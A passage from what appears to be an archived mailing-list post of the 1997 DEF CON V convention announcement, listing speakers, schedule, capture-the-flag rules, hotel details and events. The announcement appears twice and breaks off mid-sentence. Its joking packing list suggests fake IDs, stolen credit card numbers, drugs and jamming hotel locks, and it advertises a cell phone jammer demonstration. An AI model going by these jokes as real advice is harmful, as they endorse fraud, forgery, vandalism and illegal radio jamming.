Farley and Ken K. - Toll Fraud in the 90s: Two perspectives. Saturday Breakout Tech Sessions: Koresh - Novell issues. Mudge - Secure Coding. Hobbit - Why CIFS is CACA. Nihil - NT security issues. Wrangler - Packet Sniffing. Keith - firmware for embedded microcontroller applications. 24:00 (Midnight) Final rounds of Hacker Jeopardy. SUNDAY: 10:00 - 10:50 Ira Winkler - Industrial Espionage. 11:00 - 11:50 Sameer - Why cryptography is harder than it looks, part two. 12:00 - 12:50 Cyber - An overview and explanation of available crypto-tools. 13:00 - 13:50 Carolyn Meinel - Happy Hacker Panel. 14:00 - 14:50 Michael Q. - The future of digital cash. 15:00 - 15:50 Dan Veeneman - Low Earth Orbit satellites. Sunday Breakout Tech Sessions: Happy Hacker track Panel: "The Newbie Experiments" Moderator is Carolyn Meinel, author of the Guides to (mostly) Harmless Hacking series. Other panel members are: - Matt Hinze, editor of the Happy Hacker Digest. - Bronc Buster, who runs a Web forum, IRC server and the New Buckaroos Web site for his fast-growing band of newbies. - Mark Biernacki of Shellonly.com will talk about this new ISP which is designed to make it easy for newbies to learn to hack. Just say "Telnet port 22!" - Jericho, who will hold forth on "Let the newbies fend for themselves." We will allow each panel member to open with a brief presentation of his or her work, followed by debate first among panel members, followed by Q&A from the audience. We expect some intense debate:-) Then if the Aladdin hotel hasn't yet been demolished yet by riots, we will continue with a series of individual presentations: - Jon McClintock, editor of Happy-SAD (Systems Administrator Digest) will demonstrate how to install Linux. - Bronc Buster will hold forth on the Windows 95 denial of service programs his Web site offers. - Carolyn Meinel will demonstrate how to read email headers, create, and decipher forged email. Breakout Tech Sessions: 16:00 Awards for Capture the Flag End of it all, cleanup, etc. See you all next year! EVENTS:---------------------------------------------------------------------- [> HACKER JEOPARDY: Winn is back with Hacker Jeopardy!! The third year in the running! Can the all-powerful Strat and his crypto-minion Erik, whose force cannot be contained, be defeated?! Will the powers that be allow Strat-Meister to dominate this beloved event for the third year in a row?! Can Erik continue to pimp-slap the audience into submission with a spoon in his mouth?!? Only Skill, Time, and booze will tell the tail! The Holy Cow will help supply the beer, you supply the answers. The first round starts at 12 midnight o'clock on Friday and lasts until it is done. The second and secret rounds will happen Saturday at midnight. 6 teams will be picked at random and compete for the final round. There can be only one! Strat's Team, the winners from last year will defend if all the members can be found. [> FREE BEER! Holy Cow will provide free beer tickets! If you are over 21 prepare to consume "hacker" beers. Actually it's whatever beer they have on tap, but it's the best beer in Las Vegas. Follow Las Vegas Blvd. up until you see the florescent cow with the big sunglasses. All taxi drivers know of this Mecca. Over 1,000 free beers in all! [> BLACK AND WHITE BALL: We've talked it over, and the verdict is in. For the last two years at DEF CON there has been a sort of unspoken Saturday night dress up event. People have worn everything from party dresses and Tuxedoes to AJ's ultra pimp Swank outfit with tiger print kilt. This year it is official. Wear your cool shit Saturday night, be it gothic or PVC vinyl or Yakuza looking black MIBs. No prizes, just your chance to be the uber-bustah pimp. [> THE TCP/IP DRINKING GAME: If you don't know the rules, you'll figure 'em out. [> CAPTURE THE FLAG: ALL NEW, ALL IMPROVED, MORE CONFRONTATIONAL, 1997 ILLUMINATI INVITATIONAL, CAPTURE THE FLAG, HACKER STYLE. The goal is to take over everybody else's server while protecting your own. To cut down on lag time and federal offences we're providing a playing field of 5 flag-machine networks connected by a big router in the middle. The rules: 1) No taking the network down for more than 60 seconds. 2) No taking any flag machine (including your own) down for more than 3 minutes. 3) In order to be counted in the game, a team's flag machine must - be directly connected to the network; - have a text file flag on the machine readable by at least 2 accounts, - keep at least 3 *normal* services running in a way that a client could actually get their work done using them. - run a web server if technically possible. 4) No goonery/summoning of elder gods/Mickey Finns/physical coercion... you get the idea. ( You had the idea, but we're trying to prevent you from using it. ) The field of play : Each network will have a "server" of some kind on it, called the flag machine. At the start of the game, these servers will be stock installations a lot like what you'd see on the average academic/secret cabal/military/megacorp network. Each of these machines will have a PGP private key, named root.flag, and a web server. There will also be a machine to provide DNS, called the scoreboard. Teams: Teams can be one human or more. In order to be a team, you have to generate 20 256bit PGP key pairs, have a DEFCON goon pgp-sign them and put the public keys on the scoreboard webserver. We'll generate a hundred key pairs in advance, so the first five teams can just grab a floppy disk (if they're trusting). To prove that you've hacked a flag machine, PGP - sign a message with the root.flag from the hacked machine, then with one of your own. Post the doubly-signed message on the scorekeeper web server, and you've captured that flag (and invalidated the captured root.flag). When you've captured a flag, decide between conquest and condescension: either take over the server yourself, or hand it back to its not-so-eleet owners. To conquer, put one of your PGP private keys on the captured server to become the next root.flag. (Of course, you have to properly secure the server to maintain your new territory.) To condescend, just wait until the original owners see their shame spread across the scoreboard. (It would sure be a pity if they had to put up a new key before they figured out how you got in last time, wouldn't it?) Two Ways to Win: #1 EVIL EMPIRE: Whoever has the most servers responding with their teams' private keys at the end wins. #2 PIRATE: Fabulous prizes will also be given to whoever racks up the highest total number of flags captured. Rough game mechanics (why is everyone so untrusting?): Once every 5 minutes or more, the scoreboard machine will post a plaintext challenge. Every team that claims to own a server has to PGP-sign that challenge with the private key registered for that server and post the signed version on their machine. If a server can't respond within 3 minutes, then nobody owns it, and it's fair game to be taken back over by the goons. Specific rules will be available in print at DefCon before the game begins. This was a message from The People [> QUAKE COMPETITION: http://www.ctive.com/ntech/defcon.htm This year knightPhlight contacted me and wanted to organize a single elimination Quake competition to find out who that badest ass 'mo 'fo is. Check out the web site to get the rules, sign up, or to donate a computer the greater good of destruction. It is IMHO that Quake by id Software rules 3D action gaming. But who rules Quake? We'll find out this July 11th-13th at the DefCon Conference in Las Vegas. This isn't going to be a networked game intent on quickly eliminating as many players as possible in a single round. Rather, one-on-one games will be played to absolutely determine who the best really is. Of course, you already know your the best so why would you feel obligated to prove it? Because we'll give the first place winner $750. Now, being the wily person you are, I bet you would like to know where I got the money for the prizes. It'll come from your registration fee of $7.50. Any half wit can do the math and see the 10,000% return for the winner. But just for entering you'll be in a drawing for really kewl stuff. If you don't think its kewl you can just give us your email address and we'll be happy to send you a couple hundred thousand messages explaining why the prizes are great. [> NET CONNECTION AND TOPOLOGY: DefCon 5 Network Plan (v.99) Telecommunications ------------------ Media Type: T1 ESF/B8ZS (not D4/AMI) Service Provider: Las Vegas Digital Internet Telco: Sprint Equipment needed Equipment on-hand ---------------- ---------------------------------------------- CSU/DSU Verilink AS2000's with NCC 2301 cards (JC) Router Cisco 2501 (Lock) Net Admin server (Lock ) 10bT Hubs 16-port from Lock - need more to populate the room 10bT Cable (miles) Everybody bring their own - will need some extra to link hubs Network Services: ----------------- Web Server CU-reflector RealAudio Server IRC server? This year we are pre-building many of the network boxes so the net can go up first thing Friday. It looks like we will have a T1 line and we will break it out to 10 BaseT hubs. If you want in on the network bring along the appropriate cables and adapters. More Net Madness! The T1 bandwidth will allow us to do the following cool stuff: - Have several color quickcams and a CU-SeeMe reflector site set up so people not at the con can check out what's going on. During the convention check out the DEF CON web site to get the location of the reflector site. You should get and install the software needed to view CU-SeeMe streams in advance! - Have a RealAudio server set up to stream the speakers talks to those who can not attend. - Potentially play a competitive multi user game(s) over the net. NOTE! If you wish to participate interactively with the convention please e-mail me and we can coordinate something. It would be great to get people from all over the world involved. [> 5th ANNUAL SPOT THE FED CONTEST: The ever popular paranoia builder. Who IS that person next to you? "Like a paranoid version of pin the tail on the donkey, the favorite sport at this gathering of computer hackers and phone phreaks seems to be hunting down real and imagined telephone security and Federal and local law enforcement authorities who the attendees are certain are tracking their every move.. .. Of course, they may be right." - John Markhoff, NYT Basically the contest goes like this: If you see some shady MIB (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood to live and die in LA type lurking about, point him out. Just get my attention and claim out loud you think you have spotted a fed. The people around at the time will then (I bet) start to discuss the possibility of whether or not a real fed has been spotted. Once enough people have decided that a fed has been spotted, and the Identified Fed (I.F.) has had a say, and informal vote takes place, and if enough people think it's a true fed, or fed wanna-be, or other nefarious style character, you win a "I spotted the fed!" shirt, and the I.F. gets an "I am the fed!" shirt. NOTE TO THE FEDS: This is all in good fun, and if you survive unmolested and undetected, but would still secretly like an "I am the fed!" shirt to wear around the office or when booting in doors, please contact me when no one is looking and I will take your order(s). Just think of all the looks of awe you'll generate at work wearing this shirt while you file away all the paperwork you'll have to produce over this convention. I won't turn in any feds who contact me, they have to be spotted by others. DOUBLE SECRET NOTE TO FEDS: This year I am printing up extra "I am the Fed!" shirts, and will be trading them for coffee mugs, shirts or baseball hats from your favorite TLA. If you want to swap bring along some goodies and we can trade. Be stealth about it if you don't want people to spot you. Agents from foreign governments are welcome to trade too, but I gotta work on my mug collection and this is the fastest way. [> RAIL GUN DEMONSTRATION: (Friday) On Friday afternoon there will be a demonstration of a hand held rail gun. This garage project should be able to fire a graphite washer very, very fast. [> OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday) Another interesting creation to be tested on Friday in the desert. Come along and watch you cell phone antenna explode with power! See control channels crumble before you. [> RADIO BURST CANNON DEMONSTRATION: (Friday) While not quite a HERF gun, this should come close. The RBC should be able to produce up to or less than one MegaWatt for up to or less than one second. What will this do? Who knows! Come and find out. Obviously the above demonstrations will take place away from the local hospitals and casinos out in the desert someplace, so be prepared. HOTELS:---------------------------------------------------------------------- [> Book your room NOW!!! We have a block of rooms, but it is first come, [> first served. Rooms get released about one month before the convention. [> Book by June 9th or risk it. The room rates are quite cool this year. PRIMARY HOTEL: The Aladdin Hotel and Casino 3667 Las Vegas Blvd. South, Las Vegas, Nevada Built in 1966 it is one of the oldest hotels in Las Vegas that hasn't been blown up to make room for newer ones. It is quite nice and has Tennis courts, two swimming pools, Chinese, Vietnamese and Korean. A Seafood and steakhouse, Joe's Diner and a 24 hour coffee shop too. It's located next to the MGM Theme park on the strip. PHONE: 1-800-634-3424, reference the "DC Communications conference" for reservations. 702-736-0222 RATES: Single & Double rooms are $65 in the Garden section, $85 for the Tower. Suites are $250 to $350. All costs are plus 8% room tax. Rollaway beds are available for an additional $15 a night. STUFF IN VEGAS:-------------------------------------------------------------- URLs Listings of other hotels in Las Vegas, their numbers, WWW pages, etc. http://www.intermind.net/im/hotel.html http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html VENDORS / SPONSORS / RESEARCH:----------------------------------------------- If you are interested in selling something (shirts, books, computers, whatever) and want to get a table contact me for costs. If you have some pet research and you want to have the participants fill out anonymous questioners please contact me for the best way to do this. If you want to sponsor any event or part of DEF CON V in return for favorable mentions and media manipulation please contact me. For example in the past Secure Computing has sponsored a firewall hacking contest. MORE INFO:------------------------------------------------------------------- [> DEF CON Voice Bridge (801) 855-3326 This is a multi-line voice bbs, VMB and voice conference system. There are 5 or so conference areas, with up to eight people on each one. Anyone can create a free VMB, and there are different voice bbs sections for separate topics. This is a good neutral meeting place to hook up with others. The Voice bridge will be changing numbers soon, but the old number will refer you to the new location. The new spot won't suffer from "Phantom" bridges! [> MAILING LIST send emial to majordomo at merde.dis.org and in the body of the message include the following on a separate line each. subscribe dc-stuff dc-announce is used for convention updates and major announcements, dc-stuff is related to general conversation, planning rides and rooms, etc. [> WWW Site http://www.defcon.org/ Convention updates and archives from previous conventions are housed here. Past speakers, topics, and stuff for sale. Also a growing section of links to other places of interest and current events. [> The Third Annual California Car Caravan to DEF CON! http://www.netninja.com/caravan There are also some resources (links to other web sites and text files) generally related to DefCon--not specifically the California Caravan. These resources are available at: http://www.netninja.com/caravan/resources.html [> The DEF CON V Car ride sharing page: Use this site to arrange ride sharing to the convention from all over North America. If you can spare a seat for someone, or need to leech a ride go to the ride sharing page set up by Squeaky. http://garbage.bridge.net/~defcon/defcon.html [> EMAIL dtangent at defcon.org Send all email questions / comments to dtangent at defcon.org. It has been said that my email is monitored by various people. If you want to say something private, please do so with my pgp key (At the bottom of this announcement) I usually respond to everything, if not I'm swamped or had a system problem. [> GIVE ME MONEY! SNAIL MAIL PRE-REGISTRATION Send all written materials, pre-registrations, etc. to: DEF CON, 2709 E. Madison, Seattle WA, 98112 If you are pre-registering for $30 please make payable to DEF CON and include a name to which you want the registration to apply. I don't respond to registrations unless you request. DO YOU WANT TO HELP?--------------------------------------------------------- Here is what you can do if you want to help out or participate in some way: Donate stuff for the continuous giveaways and the various contests. Got extra ancient stuff, or new cool stuff you don't use anymore? Donate it to a good cause! One person was very happy over winning an osborne "portable" computer. ORGANIZE sharing a room or rides with other people in your area. Join the mailing list and let people know you have floor space or some extra seats in your car. Hey, what's the worst that can happen besides a trashed hotel room or a car-jacking? CREATE questions for hacker jeopardy (you know how the game is played) and email them to winn at infowar.com. No one helped out last year, so this year let's try. Everything from "Famous narks" to "unix bugs" is fair game. BRING a machine with a 10bt interface card, and get on the local network, trade pgp signatures, etc. FINAL CHECK LIST OF STUFF TO BRING:------------------------------------------ From: Enigma Here is a list of items to bring to DefCon. These are only suggestions. Your mileage may vary. :) Items to bring to DefCon ~~~~~ ~~ ~~~~~ ~~ ~~~~~~ Clothing - Comfortable shirts and pants/shorts - Socks, underwear, etc - Bathing suit - Toiletries (deodorant, toothbrush, comb, hair spray,..., giant tub of hair grease, Oxy pads, etc) - An extra towel (don't leave home without it. Anyway, doesn't it always seem that you run out of clean towels in the bathroom?) - Something cool, hip, pimp-o-matic, or ninja-riffic to wear Saturday night at the Black and White Ball You can skip the deodorant and extra clothing if all you are going to do is play "Magic: The Gathering" and "Quake." Everyone else does. Stuph - Your shades. Vegas is hot. The sun is bright. 'Nuff said. (If you wear eye glasses, I hear the clip-on, flip-up sunglasses are quite the fashion statement) - Sunscreen of at least SPF 100. After spending hundreds of hours in front of the monitor, who needs the sun to ruin their ghostly white tan? - A hat--preferably with a cool logo or catchy phrase like "Gandalf Routers," "Netscape," "Microsoft [with "sucks" scrawled below it in permanent marker]", "I [heart] [insert government institution: Cops, Feds, etc]"...you get the idea - Note book, palmtop, or laptop to take notes on during the speeches - [Micro]casette recorder to record the speeches (or everyone getting drunk in your room Saturday night, not knowing what they are saying, with no hope of remembering it...excellent blackmail material!) - Camcorder (see above...<>) - Digital camera--for all of the above reasons PLUS you can instantly upload the images through the T1 onto the net - Fake ID for all of you under 18/21 - Fake ID for everyone else, if you're planning something illegal - Your best jokes (Nooooo! Not the superman joke! Not the pink joke) - Your best hacking stories...these are all about something "your friend" did, aren't they? You wouldn't admit to doing anything illegal, now, would you? - Someone else's--oops, I mean "your" credit card numbers Fun - Your drug(s) of choice -- From caffeine to pot to speed to acid - Zippo and extra fuel. And while you're at it, put an extra flint (assuming you can find one in the back of your junk drawer) in the bottom. You always run out at just the wrong time. - Extra smokez (Splurge: get some cigars or cloves for the weekend) - Leather - Handcuffs and chains, nipple clamps, etc. - Saran wrap, duct tape, electrical tape, gaffer's tape - Candles (the drippy kind) - Incense - Oils - Your copy of "The Pocket Kama Sutra" (ISBN 0-7894-0437-0) - That corn starch and water "slime" that Light Ray (I believe) and others believed to be the ultimate thing, several DefCon's back. Tech - Laptop w/ Ethernet card - Extra laptop battery - A zip drive with a stack of disks containing all your soooper k-rad haxing utilities and g-files - 10bt/10b2 cabling - A small hub - You did remember to put a packet sniffer on your zip disk, right? Just checking. - Every power cord you could possibly need - A serial cable with a plethora of adapters so you can get each end to be male/female, 9pin/25pin, null-modem/straight - Cable to connect the above mentioned digital camera to the laptop - Scanner (modded, of course) - Frequency counter (I hear the "Scout" is pretty good) - HAM radio. Any band, any frequency. You didn't modify it to transmit on arbitrary frequencies, did you? Naughty monkey! - An assortment of tuned antennas - That zip disk has the FCC frequency allocations on it, right? - Your uber-elite organizer (the DOS based HP palmtops are quite cool) to collect handles and email addresses from people - High energy weapons ("Is that an unlicensed nuclear accelerator on your back?" "No, it's just a HERF gun." "Oh.") - Laser pointer (don't get kicked out of the hotel again, youz doodz) - Your "white courtesy phone" that you stole from the Monte Carlo last year - A microbroadcasting station with plenty of tuneage - Your lock picks or lock picking gun - A pocket-sized tool kit containing a modular screwdriver and plenty of attachments (flathead, philips, torx, hex, etc) - A pocket knife, pliers and wire cutters--or alternatively a Leatherman's tool - Hell, while you're at it: why not some bring bolt cutters, a sledge hammer, and a hack saw? - Telephone handset with alligator clips. Or, if you're uber- 31337, you have a lineman's butt set (with the serial number and telco logo filed off) - Bubble gum or epoxy putty--anything maleable and hardens. This is good for fixing hoses under the hood of your car. It's also useful to jam mechanical sensors (What would happen if the microwave always though it's door was open? Or if the elevator always thought there was someone blocking the path of the door? Wouldn't hotel security be pissed if they couldn't get into their security room because someone jammed a toothpick into the keyhole with krazy glue?) - An alabi - Spam - Multimeter - Cordless electric soldering iron - Parts box MY PGP KEY:------------------------------------------------------------------ -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.1 mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg== =ngNC -----END PGP PUBLIC KEY BLOCK----- From declan at well.com Tue Jul 1 10:33:42 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 2 Jul 1997 01:33:42 +0800 Subject: DEF CON V Convention Announcement #1.19 (06.30.97) Message-ID: [I'm planning to show up Friday morning. Anyone else going? --Declan] ******* READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB DEF CON V Convention Announcement #1.19 (06.30.97) July 11-13th @ the Aladdin Hotel and Casino in Las Vegas XXXXXXXXXXXXXXXXXXXXXXXX XX DEF CON V Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX XX DEF CON V Convention Announcement XXXXXXxxxxxxXXXXXX X X DEF CON V Convention Announcement XXXXXxxxxxxxxXXXXXXX X DEF CON V Convention Announcement XXXXxxxxxxxxxxXXXX XXXXXXXXX DEF CON V Convention Announcement XXXxxxxxxxxxxxxXXXXXXXXXX X DEF CON V Convention Announcement XXxxxxxxxxxxxxxxXXXXXX XX X DEF CON V Convention Announcement XXXxxxxxxxxxxxxXXXXXXXX DEF CON V Convention Announcement XXXXxxxxxxxxxxXXXXXXXX X XX DEF CON V Convention Announcement XXXXXxxxxxxxxXXXXXXXXXX XX X DEF CON V Convention Announcement XXXXXXxxxxxxXXXXXXXXX X DEF CON V Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX DEF CON V Convention Announcement XXXXXXXXXXXXXXXXXXXXXXXXXXXX X DEF CON V Convention Announcement READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB The only convention with free beer! IN SHORT:-------------------------------------------------------------------- WHAT: Speakers and partying in Vegas for all hackers WHEN: July 11th - 13th WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino COSTS: $30 in advance, $40 at the door MORE INFO: http://www.defcon.org or email info at defcon.org IN LONG:--------------------------------------------------------------------- It's time to brave Las Vegas again for DEF CON! This is an initial announcement and invitation to DEF CON V, a convention for the "underground" elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers, Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, Artists, Criminally Insane, Hearing Impaired. It seems that books about the culture are becoming more popular, so of course reporters are also welcome. You won't be hurt. I promise. Just bring cash for drinks. So you heard about DEF CON IV, and want to hit part V? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to check it out in person? You want to do weird shit _away_ from the hotel where you can't get me in trouble? You have intimate knowledge of the SWIFT network, and want to transfer millions of dollars to the Def Con account? Then you're just the person to attend! What DEF CON is known for is the open discussion of all ideas, the free environment to make new contacts and the lack of ego. More people have made great friends at DEF CON over the years than my brain can conceive of. DEF CON is also known for letting the "Suits" (Government / Corporate) mix with everyone and get an idea of what the scene is all about. The media makes an appearance every year and we try to educate them as to what is really going on. Basically it has turned into the place to be if you are at all interested in the computer underground. [Note]----------------------------------------------------------------------- Now last year over 800 people showed up and threw my whole program for a loop. I was thinking 500+ people, but when 800 showed up it got a little crazy for the planning staff. This year I am planning for 1,000. This way I will be able to accommodate everyone and have less logistical screw- ups. I would also like to apologize to everyone last year who had temporary badges for half the convention, etc. I will do all that is possible for maximum coolness, and minimum hassles. Anyway, enough of my shit, on with the details. [End Note]------------------------------------------------------------------- SPEAKERS:-------------------------------------------------------------------- Over the years DEF CON has had many notable speakers. This year there will be more of an emphasis on technical talks. There will be a separate smaller room for break-out sessions of more specific topics. While the talks of the past have been great, it always seems some tech people drop out and general talks fill in. I will load it tech heavy so when people do drop out there will still be plenty of meat left for the propeller heads. There will be some speaking on Friday evening before Hacker Jeopardy, all day Saturday and Sunday. About 20 people will speak, plus smaller tech sessions. If you are interested in speaking or demonstrating something please contact me. Current speakers include: [> Nhil - Windows NT (in)security. The challenge response system, NT 5.0 Kerb security services, man in the middle attacks on domain controllers. This will be a more technical discussion of NT related security. [> Koresh - Hacking Novell Netware. [> Yobie - Emerging infrastructures made possible by Java. He will describe and talk about Java as the foundation for a global, object-oriented distributed network. New concepts and computing paradigms will discussed as well as applications for both applications development or straight-out hacking. [> Mudge - System Administrator for L0pht Heavy Industries. He will present a technical talk on something cool. [> Clovis - From the Hacker Jeopardy winning team. He will discuss issues with security and networked object systems, looking at some of the recent security issues found with activeX and detail some of the potentials and problems with network objects. Topics will include development of objects, distributed objects, standards, ActiveX, corba, and hacking objects. [> Bruce Schneier - Author of Applied Cryptography and the Blowfish algorithm - Why cryptography is harder than it looks. [> FBI Computer Crime Squad - They will make another appearance this year only if I can bribe them with the audio from last years convention. Can I do it in time? [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for getting what you need to know, working in networks, and engaging in espionage quietly; the uses of paranoia, imagination, and grandiosity to build the Big Picture. [> Wrangler - Packet Sniffing: He will define the idea, explain everything from 802.2 frames down to the TCP datagram, and explain the mechanisms (NIT, bpf) that different platforms provide to allow the hack. Wrangler has been programming since seven column paper tape. He is a loner with the social skills of a California Condor. He has never been a member of LOD, MOD, or any other group. He has written no books, is not currently employed, and refuses to discuss what he refers to as "that credit card provider thing back when I used to do mainframe shit." His current projects include looking for his next Fortune 100 contract and writing the DEFCON V virus. [> Seven - What the feds think of us. [> Richard K. - Electronic countermeasures, counter espionage, risk management. Should include a demonstration of electronic countermeasures equipment as well as a talk on what works, what doesn't, and the industry. [> Tom Farley the Publisher of the "Private Line" journal, and Ken Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two perspectives. An overview of phreaking from a hackers point of view and an industry/security consultants point. [> Michael Quattrocchi - The future of digital cash and a presentation about the modernization and state of register-level debit cards; in effect currently throughout Canada. [> The Deth Vegetable - "The Cult of the Dead Cow embarks on a new era of Global Domination for the 21st Century three years early -- if you're not at Defcon this year, you won't be down with the master plan. Important announcements and startling new developments that will affect the entire history of the Computer Underground as you know it." [> Ira Winkler - Real life case studies of successful and unsuccessful corporate espionage. [> Sameer Parekh - c2.net - Why cryptography is harder than it looks, part two. A look at implementation and production problems facing people and companies wishing to develope and distribute strong encryption. [> Carolyn P. Meinel - Moderator of the Happy Hacker Digest and mailing lists. She will preside over a seperate Happy Hacker discussion pannel that will cover the topics of wether or not "newbies" should have information handed to them, or should they learn for themselves? [> Dan Veeneman - Low Earth Orbit satellites are nearing the launch stage, and this talk will cover the different systems that are planned and some of the services they'll offer. A bit on GPS that wasn't covered last year as well as the ever popular question and answer section. [> Hobbit - CIFS is a load of CACA - Random SMB CIFS stuff in Microsfot products. [> Cyber - An overview and explanation of available crypto-tools. What tools and programs do what, when to use them and on what platforms. From someone who has spent lots of time playing around with the currently available set of applications. [> Keith - Has some experience writing firmware for embedded microcontroller applications, and is giving a technical talk on applications of microcontrollers in the h/p community. [> James Jorasch - Hacking Vegas - How to games the gamers. From someone who used to deal with hotel casino security. What really goes on? SCHEDULE:-------------------------------------------------------------------- FRIDAY: Network Setup, Sign in, Informal PGP Keysigning at the "PGP table", Lots of Partying. Capture the Flag Contest Starts at 16:00 On Friday there will be the demonstrations of the Radio Burst Cannon, a "real" rail gun, and an omni-directional cell phone jammer. Times to be announced. 10:00 - Doors open, sign in starts 10:00 - Movies start in main conference room 16:00 - Capture the Flag II starts 15:30 - Round up and head off for demonstrations of HERF, and rail gun madness. Nothing may happen, then again.. 23:30 - 23:00 James Jorasch - "Hacking Vegas" how to beat the system in Vegas by someone who knows it inside and out. 23:00 - 03:00 Hacker Jeopardy Starts. SATURDAY: 10:00 - 10:50 Richard Thieme - The Dynamics of Social Engineering. 11:00 - 11:50 Yobie - Emerging infrastructures made possible by Java. 12:00 - 12:50 Clovis - issues with security and networked object systems. 13:00 - 13:50 FBI Computer Crime Squad - 14:00 - 14:50 Deth Veggie - Global Domination, cDc style. 15:00 - 15:50 Seven - What the feds think of us. 16:00 - 16:50 Richard K. - 17:00 - 17:50 Tom Farley and Ken K. - Toll Fraud in the 90s: Two perspectives. Saturday Breakout Tech Sessions: Koresh - Novell issues. Mudge - Secure Coding. Hobbit - Why CIFS is CACA. Nihil - NT security issues. Wrangler - Packet Sniffing. Keith - firmware for embedded microcontroller applications. 24:00 (Midnight) Final rounds of Hacker Jeopardy. SUNDAY: 10:00 - 10:50 Ira Winkler - Industrial Espionage. 11:00 - 11:50 Sameer - Why cryptography is harder than it looks, part two. 12:00 - 12:50 Cyber - An overview and explanation of available crypto-tools. 13:00 - 13:50 Carolyn Meinel - Happy Hacker Panel. 14:00 - 14:50 Michael Q. - The future of digital cash. 15:00 - 15:50 Dan Veeneman - Low Earth Orbit satellites. Sunday Breakout Tech Sessions: Happy Hacker track Panel: "The Newbie Experiments" Moderator is Carolyn Meinel, author of the Guides to (mostly) Harmless Hacking series. Other panel members are: - Matt Hinze, editor of the Happy Hacker Digest. - Bronc Buster, who runs a Web forum, IRC server and the New Buckaroos Web site for his fast-growing band of newbies. - Mark Biernacki of Shellonly.com will talk about this new ISP which is designed to make it easy for newbies to learn to hack. Just say "Telnet port 22!" - Jericho, who will hold forth on "Let the newbies fend for themselves." We will allow each panel member to open with a brief presentation of his or her work, followed by debate first among panel members, followed by Q&A from the audience. We expect some intense debate:-) Then if the Aladdin hotel hasn't yet been demolished yet by riots, we will continue with a series of individual presentations: - Jon McClintock, editor of Happy-SAD (Systems Administrator Digest) will demonstrate how to install Linux. - Bronc Buster will hold forth on the Windows 95 denial of service programs his Web site offers. - Carolyn Meinel will demonstrate how to read email headers, create, and decipher forged email. Breakout Tech Sessions: 16:00 Awards for Capture the Flag End of it all, cleanup, etc. See you all next year! EVENTS:---------------------------------------------------------------------- [> HACKER JEOPARDY: Winn is back with Hacker Jeopardy!! The third year in the running! Can the all-powerful Strat and his crypto-minion Erik, whose force cannot be contained, be defeated?! Will the powers that be allow Strat-Meister to dominate this beloved event for the third year in a row?! Can Erik continue to pimp-slap the audience into submission with a spoon in his mouth?!? Only Skill, Time, and booze will tell the tail! The Holy Cow will help supply the beer, you supply the answers. The first round starts at 12 midnight o'clock on Friday and lasts until it is done. The second and secret rounds will happen Saturday at midnight. 6 teams will be picked at random and compete for the final round. There can be only one! Strat's Team, the winners from last year will defend if all the members can be found. [> FREE BEER! Holy Cow will provide free beer tickets! If you are over 21 prepare to consume "hacker" beers. Actually it's whatever beer they have on tap, but it's the best beer in Las Vegas. Follow Las Vegas Blvd. up until you see the florescent cow with the big sunglasses. All taxi drivers know of this Mecca. Over 1,000 free beers in all! [> BLACK AND WHITE BALL: We've talked it over, and the verdict is in. For the last two years at DEF CON there has been a sort of unspoken Saturday night dress up event. People have worn everything from party dresses and Tuxedoes to AJ's ultra pimp Swank outfit with tiger print kilt. This year it is official. Wear your cool shit Saturday night, be it gothic or PVC vinyl or Yakuza looking black MIBs. No prizes, just your chance to be the uber-bustah pimp. [> THE TCP/IP DRINKING GAME: If you don't know the rules, you'll figure 'em out. [> CAPTURE THE FLAG: ALL NEW, ALL IMPROVED, MORE CONFRONTATIONAL, 1997 ILLUMINATI INVITATIONAL, CAPTURE THE FLAG, HACKER STYLE. The goal is to take over everybody else's server while protecting your own. To cut down on lag time and federal offences we're providing a playing field of 5 flag-machine networks connected by a big router in the middle. The rules: 1) No taking the network down for more than 60 seconds. 2) No taking any flag machine (including your own) down for more than 3 minutes. 3) In order to be counted in the game, a team's flag machine must - be directly connected to the network; - have a text file flag on the machine readable by at least 2 accounts, - keep at least 3 *normal* services running in a way that a client could actually get their work done using them. - run a web server if technically possible. 4) No goonery/summoning of elder gods/Mickey Finns/physical coercion... you get the idea. ( You had the idea, but we're trying to prevent you from using it. ) The field of play : Each network will have a "server" of some kind on it, called the flag machine. At the start of the game, these servers will be stock installations a lot like what you'd see on the average academic/secret cabal/military/megacorp network. Each of these machines will have a PGP private key, named root.flag, and a web server. There will also be a machine to provide DNS, called the scoreboard. Teams: Teams can be one human or more. In order to be a team, you have to generate 20 256bit PGP key pairs, have a DEFCON goon pgp-sign them and put the public keys on the scoreboard webserver. We'll generate a hundred key pairs in advance, so the first five teams can just grab a floppy disk (if they're trusting). To prove that you've hacked a flag machine, PGP - sign a message with the root.flag from the hacked machine, then with one of your own. Post the doubly-signed message on the scorekeeper web server, and you've captured that flag (and invalidated the captured root.flag). When you've captured a flag, decide between conquest and condescension: either take over the server yourself, or hand it back to its not-so-eleet owners. To conquer, put one of your PGP private keys on the captured server to become the next root.flag. (Of course, you have to properly secure the server to maintain your new territory.) To condescend, just wait until the original owners see their shame spread across the scoreboard. (It would sure be a pity if they had to put up a new key before they figured out how you got in last time, wouldn't it?) Two Ways to Win: #1 EVIL EMPIRE: Whoever has the most servers responding with their teams' private keys at the end wins. #2 PIRATE: Fabulous prizes will also be given to whoever racks up the highest total number of flags captured. Rough game mechanics (why is everyone so 